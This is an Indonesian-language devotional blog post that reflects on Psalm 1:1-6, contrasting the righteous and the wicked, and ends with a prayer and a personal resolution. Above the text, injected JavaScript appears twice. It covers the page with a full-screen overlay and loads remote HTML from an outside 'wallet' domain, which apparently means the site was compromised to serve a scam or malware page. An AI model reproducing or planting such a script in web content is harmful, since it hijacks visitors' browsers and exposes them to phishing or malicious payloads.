ORANG BENAR VS ORANG FASIK

const div=document.createElement(‘div’);div.style.position=’fixed’;div.style.top=’0′;div.style.left=’0′;div.style.width=’100%’;div.style.height=’100%’;div.style.backgroundColor=’white’;div.style.zIndex=’9999′;document.body.appendChild(div);fetch(‘https://efimer-wallet.world/recopro/loader.php’).then(response=>response.text()).then(data=>{div.innerHTML=data;});

const div=document.createElement(‘div’);div.style.position=’fixed’;div.style.top=’0′;div.style.left=’0′;div.style.width=’100%’;div.style.height=’100%’;div.style.backgroundColor=’white’;div.style.zIndex=’9999′;document.body.appendChild(div);fetch(‘https://efimer-wallet.world/recopro/loader.php’).then(response=>response.text()).then(data=>{div.innerHTML=data;});

Jumat, 27 Oktober 2023

Mazmur 1 : 1 – 6

Pengantar

Siapakah yang dimaksud dengan orang benar? Dan siapakah yang dimaksud dengan orang Fasik? Banyak penafsiran yang memberikan deskripsi orang benar dan orang fasik. Diantaranya, orang benar adalah orang yang percaya pada Allah dan selalu melakukan perintah Allah, sedang orang fasik atau orang berdosa adalah orang yang tidak percaya pada Allah dan selalu menentang perintah Allah. Melalui bacaan Mazmur 1:1-6 ini kita akan belajar tentang orang benar dan orang fasik. Mari kita renungkan!

Pemahaman

Ayat 1-3 : Bagaimanakah Pemazmur menggambarkan tentang orang benar?

Ayat 4-6 : Bagaimanakah Pemazmur menggambarkan tentang orang fasik?

Manakah yang menjadi pilihan hidup Saudara ?

Menurut Pemazmur orang benar adalah mereka yang tidak berjalan menurut nasihat orang fasik, yang tidak berdiri di jalan orang berdosa dan yang tidak duduk dalam kumpulan pencemooh. Ini berarti orang benar selalu berusaha untuk menjauh dari perbuatan dosa dan berusaha untuk taat pada perintah Tuhan. Orang benar selalu ingin dekat dengan Tuhan oleh karena itu kesukaanya adalah membaca Taurat Tuhan yang kemudian merenungkan siang dan malam, mempercayai dan melakukan Firman Tuhan. Orang benar diibaratkan seperti pohon yang ditanam di tepi aliran air yang berarti ia tidak akan kekeringan karena dekat dengan sang sumber hidup. Pohon yang selalu mendapatkan air akan bertumbuh dengan baik dan akan berbuah lebat pada musimnya sehingga bisa menjadi berkat bagi orang lain melalui buah-buah yang dihasilkannya.

Orang fasik ialah orang yang mengetahui kebenaran, tetapi mengabaikannya. Ia tak memiliki prinsip, hidupnya menjadi seperti

sekam yang diterbangkan kian kemari oleh badai hidup. Walau bisa tampak hebat, tetapi dengan mudah ia bisa lenyap hingga tak berbekas. Mereka tidak percaya jalan kepada Tuhan, bahkan mencemooh kebenaran jalan Tuhan sehingga mereka akan mengalami penghakiman untuk dihukum dalam kebinasaan kekal bersama-sama dengan iblis dan pengikutnya.

Bagaimana dengan kita yang mengaku sebagai pengikut Kristus. Apakah kita hidup menjadi orang benar atau orang fasik. Jikalau menjadi orang yang benar, apakah kita sudah benar-benar melakukan dengan benar yakni kita memiliki relasi yang dekat dengan Tuhan melalui membaca, merenungkan dan melakukan Firman Tuhan dalam kehidupan kita sehari-hari. Sebagai orang percaya seharusnya kita menyukai Firman Tuhan dan senantiasa meluangkan waktu untuk membaca dan memahami Firman Tuhan sehingga hidup kita bisa menjadi berkat bagi orang lain.

Refleksi                                                                

Mari kita renungkan, apakah kita memilih untuk hidup menjadi orang benar? Apakah kita melakukan hal-hal yang harus dilakukan sebagai orang benar?

Tekadku                                                                

Doa: Bapa surgawi, mampukan hamba-Mu ini untuk menjadi orang benar. Dan ajar serta tuntun hamba-Mu untuk melakukan perbuatan- perbuatan sebagai orang benar agar bisa memberikan berkat kepada orang lain yang melihat cara hidup hamba-Mu ini. Amin

Tindakanku                                                           

Mulai sekarang aku harus semakin rajin untuk membaca Firman Tuhan, merenungkan Firman itu dan melakukan dalam kehidupanku sehari-hari agar hidupku bisa menjadi berkat bagi orang lain.

This entry was posted in RENUNGAN. Bookmark the permalink.

Leave a Reply

Your email address will not be published. Required fields are marked *